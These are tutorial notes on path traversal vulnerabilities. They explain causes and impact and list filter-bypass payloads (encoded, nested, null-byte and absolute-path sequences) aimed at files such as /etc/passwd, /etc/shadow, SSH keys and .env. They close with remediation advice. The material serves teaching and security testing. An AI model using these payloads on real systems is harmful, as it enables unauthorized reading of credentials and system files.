Path traversal Vulnerability Notes

Eyad Islam El-Taher

November 20, 2025

Introduction

Path traversal (also known as directory traversal) is a web security vulnerability that allows attackers to read arbitrary files on the server running the application. This vulnerability enables unauthorized access to files outside the web root directory, potentially exposing:

- **Application code and data**
- **Credentials for back-end systems**
- **Sensitive operating system files**
- **Configuration files and environment variables**

In more severe cases, attackers may also be able to **write to arbitrary files** on the server, allowing them to modify application data, alter system behavior, and ultimately gain full control of the server.

Path Traversal Vulnerability Happen When

- **Unvalidated user input** is directly used in file system operations
- **Improper sanitization** of user-supplied file paths
- **Absence of input validation** for directory traversal sequences
- **Weak server configurations** that don't restrict file access
- **Insufficient access controls** on file retrieval functions

Path Traversal Vulnerability Happen Where

- **File download functionality** where users can request files
- **Image/File upload features** with improper path handling
- **Template inclusion mechanisms** in web applications
- **Static file servers** serving user-requested resources
- **API endpoints** that retrieve or serve files
- **Configuration management interfaces**
- **Backup and log viewing functionality**
- **Any parameter that accepts file paths or names**:
  - URL parameters: `?file=document.pdf`
  - Form fields in file uploads
  - HTTP headers in file requests
  - Cookie values containing path information

Impact of Path Traversal Vulnerability

- **Information Disclosure**:
  - Exposure of application source code
  - Leakage of database credentials and configuration
  - Access to sensitive user data
  - Disclosure of system files (/etc/passwd, /etc/shadow)
- **System Compromise**:
  - Reading SSH keys and certificates
  - Access to system logs and audit trails
  - Exposure of environment variables and API keys
- **Privilege Escalation**:
  - Reading password files for brute force attacks
  - Access to configuration files with elevated privileges
  - Modification of critical system or application files
- **Complete Server Takeover**:
  - In write-scenarios: uploading web shells
  - Modifying system configuration files
  - Creating backdoor access mechanisms
  - Compromising the entire server infrastructure
- **Business Impact**:
  - Data breaches and regulatory fines
  - Reputational damage and loss of trust
  - Service disruption and downtime
  - Financial losses and legal consequences

Reading Arbitrary Files via Path Traversal

Basic Attack Scenario

- **Vulnerable Application**: Shopping site with image loading functionality
- **HTML Code**: `<img src="/loadImage?filename=218.png">`
- **Server Logic**: Appends filename to base directory `/var/www/images/`
- **File Path Constructed**: `/var/www/images/218.png`

Path Traversal Exploitation

- **Attack URL**:

```
https://insecure-website.com/loadImage?filename=../../../etc/passwd
```

- **Resulting File Path**:

```
/var/www/images/../../../etc/passwd
```

- **Directory Traversal Logic**:
  - `../` steps up one directory level
  - `/var/www/images/../` → `/var/www/`
  - `/var/www/../` → `/var/`
  - `/var/../` → `/` (filesystem root)
  - Final path: `/etc/passwd`

Operating System Specific Sequences

- **Unix/Linux Systems**:

```
../../../etc/passwd
../../../../etc/shadow
../var/log/auth.log
```

- **Windows Systems**:

```
..\..\..\windows\win.ini
..\..\..\windows\system32\drivers\etc\hosts
..\..\..\boot.ini
```

Common Target Files

- **Linux/Unix**:
  - `/etc/passwd` - User account information
  - `/etc/shadow` - Encrypted passwords
  - `/etc/hosts` - Static hostnames
  - `/proc/version` - Kernel version
  - `/.ssh/id_rsa` - SSH private keys
  - `/var/log/` - System logs
- **Windows**:
  - `C:\windows\win.ini` - System configuration
  - `C:\windows\system32\drivers\etc\hosts` - Hosts file
  - `C:\boot.ini` - Boot configuration
  - `C:\windows\system.ini` - System settings

Bypass defenses against path traversal attacks

If an application strips or blocks directory traversal sequences from the user-supplied filename, it might be possible to bypass the defense using a variety of techniques.

1. **Absolute Path Bypass**

   Core Concept: The application only blocks relative path sequences (`../`) but doesn't check for absolute paths starting from the filesystem root.

   How It Works:

   ```
   Normal Request:  /loadImage?filename=image.png
   Server Path:     /var/www/images/image.png

   Blocked Attack:  /loadImage?filename=../../../etc/passwd
   (Application detects and blocks '../')

   Working Attack:  /loadImage?filename=/etc/passwd
   (Application allows it because no '../' found)

   Server Path:     /var/www/images//etc/passwd
   Final Access:    /etc/passwd (due to path normalization)
   ```

   Why It Works:

   - Application only looks for and blocks `../` sequences
   - Absolute paths like `/etc/passwd` don't contain blocked patterns

2. **Nested Traversal Sequences Bypass - The Double-Stripping Method**

   Core Concept: The application has a naive filter that simply removes every instance of `../` it finds in your input.

   How It Works:

   ```
   Your Input:     ....//....//....//etc/passwd
   Filter Action:  Removes each inner '../' found
   Step 1:         ....//  -> removes '../' -> becomes ../
   Step 2:         ....//  -> removes '../' -> becomes ../
   Step 3:         ....//  -> removes '../' -> becomes ../
   Final Result:   ../../../etc/passwd
   ```

   Common Nested Sequences:

   - `....//` → Becomes `../` after filtering
   - `....\/` → Becomes `..\` (Windows paths)

   Key Insight: You're "over-encoding" the traversal sequence so the filter inadvertently decodes it back to the malicious payload it was trying to block.

---

3. **URL Encoding Bypass**

   Core Concept: Web servers or filters might strip plain traversal sequences, but miss URL-encoded versions that get decoded later in the process.

   How It Works:

   ```
   Normal Blocked:   ../../../etc/passwd
   URL Encoded:      %2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
   Double Encoded:   %252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd

   Server Process:
   1. Receives: %2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
   2. URL Decodes: ../../../etc/passwd
   3. Application uses decoded path
   ```

   Common Encoding Techniques:

   - `%2e%2e%2f` → URL encoded `../`
   - `%252e%252e%252f` → Double URL encoded `../`
   - `..%c0%af` → Unicode/overlong encoding
   - `..%ef%bc%8f` → Full-width slash encoding

   Burp Suite Tip: Use Burp Intruder's predefined payload list "Fuzzing - path traversal" for automated testing of encoded sequences.

---

4. **Expected Base Folder Bypass**

   Core Concept: App checks if filename starts with correct folder like `/var/www/images`, but doesn't check what comes after.

   Simple Explanation:

   ```
   App expects:   /var/www/images/photo.png
   You provide:   /var/www/images/../../../etc/passwd

   App thinks:    "Starts with /var/www/images/    - ALLOWED"
   Result:        /var/www/images/../../../etc/passwd
   Final access:  /etc/passwd
   ```

Why It Works:

- App only validates the beginning of the path
- Traversal sequences after the valid prefix still work
- Path normalization processes the `../` normally

Key Insight: The application only checks the beginning of your input but doesn't validate the entire path, allowing you to "escape" from the allowed directory using traversal sequences after the valid prefix.

---

5. **File Extension Bypass with Null Byte**

   Core Concept: App requires filename to end with specific extension like `.png`, but null byte `%00` terminates the string early.

   Simple Explanation:

```
App expects:   example.png
You provide:   ../../../etc/passwd%00.png

App thinks:    "Ends with .png   - ALLOWED"
System reads:  ../../../etc/passwd (null byte stops here)
Final access:  /etc/passwd
```

   Why It Works:

   - Null byte (`%00`) tells system to stop reading
   - App sees `.png` extension and allows request
   - System ignores everything after null byte
   - Traversal sequences work normally before null byte

   Important Note:

   - Works on older PHP versions (before 5.3.4)
   - Modern systems often block null byte injection
   - Still worth trying as a bypass technique

Testing Methodology

Manual Testing Steps

1. **Identify File Parameters**
   - Look for parameters like: `file`, `filename`, `path`, `document`, `image`
   - Check URL parameters, POST data, cookies, and headers
   - Common endpoints: `/download`, `/view`, `/loadImage`, `/getFile`

2. **Basic Traversal Testing**

```
?file=../../../etc/passwd
?filename=..\..\windows\win.ini
?document=/etc/passwd
```

3. **Encoding Bypass Testing**

```
?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
?file=%252e%252e%252f%252e%252e%252fetc/passwd
?file=..%c0%af..%c0%af..%c0%afetc/passwd
```

4. **Filter Bypass Testing**

```
?file=....//....//....//etc/passwd
?file=..\../..\../..\../etc/passwd
?file=../../../etc/passwd%00.png
```

5. **Base Folder Bypass Testing**

```
?file=/var/www/images/../../../etc/passwd
?file=expected_folder/../../../../etc/passwd
```

Automated Testing with Burp Suite

- Use Burp Intruder with "Fuzzing - path traversal" payload list
- Test multiple encoding types simultaneously
- Monitor for different response lengths/sizes
- Look for success responses (200) vs errors (404/403)

Common Files to Target

- **Linux:** `/etc/passwd`, `/etc/shadow`, `/proc/version`, `/etc/hosts`
- **Windows:** `/windows/win.ini`, `/boot.ini`, `/windows/system.ini`
- **Application:** `config.php`, `.env`, `web.config`, `application.properties`

Response Analysis

- **Success:** File contents in response, different response size
- **Partial Success:** Error messages revealing path information
- **Blocked:** Generic error pages, 403 Forbidden responses
- **Not Found:** 404 errors indicating invalid path

Advanced Techniques

- Test with and without trailing slashes
- Try different number of traversal sequences (../, ../../, etc.)
- Combine multiple bypass techniques
- Test in different contexts (URL, POST, headers)

Remediation and Prevention

Primary Defense: Avoid User Input in Filesystem APIs

- **Best Practice**: Avoid passing user-supplied input to filesystem APIs entirely
- **Alternative Approach**: Rewrite application functions to deliver same behavior safely
- **Example**: Use predefined file mappings instead of direct user input

Two-Layer Defense Strategy

If user input must be used, implement both layers:

Layer 1: Input Validation

- **Whitelist Approach** (Recommended): Compare user input with allowed values only
- **Content Validation**: If whitelist not possible, verify input contains only permitted characters (alphanumeric only)
- **Reject**: Any input containing special characters, path separators, or traversal sequences

Layer 2: Path Canonicalization & Verification

- **Append to Base**: Add user input to predefined base directory
- **Canonicalize Path**: Use platform filesystem API to resolve path
- **Verify Base**: Confirm canonical path starts with expected base directory

Java Implementation Example

```
File file = new File(BASE_DIRECTORY, userInput);
if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {
    // process file - SAFE
} else {
    // reject request - POTENTIAL ATTACK
}
```

Additional Security Measures

- **Use Application-Level Access Controls**: Implement proper authentication and authorization
- **Secure Configuration**: Ensure web server doesn't serve sensitive directories
- **Regular Security Testing**: Include path traversal tests in security assessments
- **Input Sanitization**: Remove or encode special characters when displaying file paths

Platform-Specific Recommendations

- **Java**: Use `getCanonicalPath()` and verify base directory
- **PHP**: Use `realpath()` and compare with base path
- **.NET**: Use `Path.GetFullPath()` and validate against base
- **Python**: Use `os.path.realpath()` with base verification